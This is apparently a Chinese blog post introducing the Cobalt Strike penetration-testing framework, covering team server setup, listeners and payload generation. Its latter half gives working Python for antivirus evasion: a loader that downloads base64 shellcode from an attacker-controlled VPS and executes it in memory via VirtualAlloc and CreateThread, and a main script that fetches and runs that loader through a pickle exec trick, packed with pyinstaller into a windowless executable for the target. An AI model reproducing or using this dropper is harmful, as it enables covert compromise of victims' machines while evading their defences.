Cobalt Strike 简单使用

Cobalt Strike工具安装与基础使用_cobalt strike下载_剁椒鱼头没剁椒的博客-CSDN博客

cobalt strike 4.7 Original 官方原版cobaltstrike.jar - 🔰雨苁ℒ🔰 (ddosi.org)

全网最全的Cobalt Strike使用教程系列-基础篇 - FreeBuf网络安全行业门户

Cobalt Strike | 狼组安全团队公开知识库 (wgpsec.org)

Cobaltstrike系列教程(二)Listner与Payload生成 - J0o1ey - 博客园 (cnblogs.com)

参考源于上面师傅文章,引用以作学习之用!

Cobalt Strike 简介

​ Cobalt Strike是一款好用的渗透测试工具,拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket代理,office攻击,文件捆绑,钓鱼等多种功能。同时,Cobalt Strike还可以调用Mimikatz等其他知名工具。
  同时Cobalt Strike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。
  并且Cobalt Strike采用C/S架构的商业渗透软件,适合多人进行团队协作,可模拟APT做模拟对抗,进行内网渗透。

Cobalt Strike安装

Cobalt Strike服务端必须要安装在Linux系统,客户端没有限制要求。两者都需要java 环境。

如下以Cobalt Strike 4.5 版本为例:

服务端

在linux环境下:

1. chmod +x teamserver # 给予teamserver文件执行权限
2. ./teamserver 192.168.6.129 123456 # 服务端ip + 服务连接密码

image

客户端

windows/linux环境下选择运行对应客户端进行连接。

image

image

连接成功!

Cobalt Strike基础使用

监听

监听的作用就是当生成的payload上线后能够被监听到。

设置监听:

image

生成payload

用于上线主机。

生成payload

image

image

有很多payload种类,可按照需求选取!

【这里涉及到免杀的问题,也是很多大佬强大的地方】

以Payload生成器生成python脚本为例:

image

得到反弹shell的shellcode:

image

使用payload

CS生成木马已经被各大杀毒软件加入病毒库,很容易被查杀,所以我们需进行一些免杀操作来绕过杀毒软件。当然也可以直接用python调用该payload。

CS结合python3混淆shellcode制作免杀脚本_cs生成shellcode_码啊码的博客-CSDN博客

1.shellcode

把shellcode进行BS64加密放在shellcode.txt里面并存放到服务器

2.加载器

修改加载器的服务器地址后进行一次BS64加密,然后把代码放在loader.txt里面并存放到服务器

import ctypes,urllib.request,codecs,base64
shellcode = urllib.request.urlopen('http://vps的ip地址/shellcode.txt').read()
shellcode = shellcode.strip()
shellcode = base64.b64decode(shellcode)

shellcode =codecs.escape_decode(shellcode)[0]

shellcode = bytearray(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buf,
    ctypes.c_int(len(shellcode))
)
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
3.主程序

zhu.py,最终在目标上执行的exe文件

修改服务器地址后使用pyinstaller打包成exe可执行文件

import pickle
import ctypes,urllib.request,codecs,base64
sectr = urllib.request.urlopen('http://vps的ip地址/loader.txt').read()
sectr = base64.b64decode(sectr).decode("utf-8")
class A(object):
    def __reduce__(self):
        return (exec, (sectr,))
ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
ret_decode = base64.b64decode(ret_base64)
pickle.loads(ret_decode)
4.打包
pyinstaller -F -w zhu.py
5.上线

主机运行生成的可执行文件即可上线,还能绕过一些免杀!

上线

执行完就可以在页面中看到一台机器上线了。在页面中能够显示,外网IP、内网IP、监听器、用户名、机器名、是否有特权、Beacon进程的PID、心跳时间等信息。

posted @ 2023-09-01 19:02  Only-xiaoxiao  阅读(281)  评论(0编辑  收藏  举报